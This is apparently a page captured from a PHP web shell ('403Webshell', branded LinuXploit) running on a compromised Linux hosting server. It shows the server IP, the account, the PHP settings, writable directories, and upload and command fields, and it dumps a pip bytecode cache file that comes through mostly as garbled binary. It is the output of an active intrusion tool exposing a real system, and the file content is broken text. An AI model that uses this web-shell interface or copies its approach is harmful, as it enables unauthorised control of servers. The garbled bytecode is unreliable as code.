403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pip/_internal/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pip/_internal/__pycache__/pyproject.cpython-311.pyc
�

�/�cK����ddlZddlZddlmZddlmZmZmZddl	m
Z
ddlmZm
Z
ddlmZmZmZdedefd	�Zd
edefd�Zedgd
���Zdeededededeef
d�ZdS)�N)�
namedtuple)�Any�List�Optional)�tomli)�InvalidRequirement�Requirement)�InstallationError�InvalidPyProjectBuildRequires�MissingPyProjectBuildRequires�obj�returnc�^�t|t��otd�|D����S)Nc3�@K�|]}t|t��V��dS)N)�
isinstance�str)�.0�items  �9/usr/lib/python3/dist-packages/pip/_internal/pyproject.py�	<genexpr>z"_is_list_of_str.<locals>.<genexpr>s,����(O�(O�4��D�#�)>�)>�(O�(O�(O�(O�(O�(O�)r�list�all)r
s r�_is_list_of_strrs.���c�4� � �O�S�(O�(O�3�(O�(O�(O�%O�%O�Or�unpacked_source_directoryc�B�tj�|d��S)Nzpyproject.toml)�os�path�join)rs r�make_pyproject_pathr s��
�7�<�<�1�3C�D�D�Dr�BuildSystemDetails)�requires�backend�check�backend_path�
use_pep517�pyproject_toml�setup_py�req_namec��tj�|��}tj�|��}|s|st|�d����|ret	|d���5}tj|�����}ddd��n#1swxYwY|�d��}nd}|r|s|�|std���d}nY|r3d|vr/|�*|s(td	�	|d�����d}n$|�"|ptj�d
��}|�J�|sdS|�ddgd
d�}|�J�d|vrt|����|d}	t|	��st|d����|	D]9}
	t!|
���#t"$r}t|d|
�����|�d}~wwxYw|�d��}|�dg��}
g}|�d
}dg}t%|	|||
��S)aBLoad the pyproject.toml file.

    Parameters:
        use_pep517 - Has the user requested PEP 517 processing? None
                     means the user hasn't explicitly specified.
        pyproject_toml - Location of the project's pyproject.toml file
        setup_py - Location of the project's setup.py file
        req_name - The name of the requirement we're processing (for
                   error reporting)

    Returns:
        None if we should use the legacy code path, otherwise a tuple
        (
            requirements from pyproject.toml,
            name of PEP 517 backend,
            requirements we should check are installed after setting
                up the build environment
            directory paths to import the backend from (backend-path),
                relative to the project root.
        )
    zW does not appear to be a Python project: neither 'setup.py' nor 'pyproject.toml' found.zutf-8)�encodingNzbuild-systemzIDisabling PEP 517 processing is invalid: project does not have a setup.pyT�
build-backendzbDisabling PEP 517 processing is invalid: project specifies a build backend of {} in pyproject.toml�
setuptoolszsetuptools>=40.8.0�wheelz setuptools.build_meta:__legacy__)r"r,r")�packagezIt is not a list of strings.)r/�reasonz$It contains an invalid requirement: zbackend-path)rr�isfiler
�openr�loads�read�get�format�	importlib�util�	find_specrrrr	rr!)r&r'r(r)�
has_pyproject�	has_setup�f�pp_toml�build_systemr"�requirement�errorr#r%r$s               r�load_pyproject_tomlrAs��0�G�N�N�>�2�2�M�����x�(�(�I��
��
���
>�
>�
>�
�
�	
�
��
�.�7�
3�
3�
3�	,�q��k�!�&�&�(�(�+�+�G�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,�	,����	,�	,�	,�	,��{�{�>�2�2������Q�Y�Q��!�*�!�#�3���
��
�
�	�Q�/�\�9�9��!�*�!�#�$�$*�F�<��+H�$I�$I���
�
�
�
�
�	�"�P�)�.�*B�*B�<�*P�*P�&P�
��!�!�!����t���.�w�7�?�
�
���#�#�#���%�%�+�H�=�=�=�=��J�'�H��8�$�$�
�+��1�
�
�
�	
� ����	���$�$�$�$��!�	�	�	�/� �M�k�M�M�����
�����	��������/�/�G��#�#�N�B�7�7�L��E���5��%�&���h����E�E�Es*�('B�B�"B�F�
F;�!F6�6F;)�importlib.utilr7r�collectionsr�typingrrr�pip._vendorr�"pip._vendor.packaging.requirementsrr	�pip._internal.exceptionsr
rr�boolrrr r!rA�rr�<module>rJs|������	�	�	�	�"�"�"�"�"�"�&�&�&�&�&�&�&�&�&�&�������N�N�N�N�N�N�N�N�����������P��P��P�P�P�P�E�3�E�3�E�E�E�E� �Z��J�J�J����
QF����QF�03�QF�?B�QF�NQ�QF�
� �!�QF�QF�QF�QF�QF�QFr

Youez - 2016 - github.com/yon3zu
LinuXploit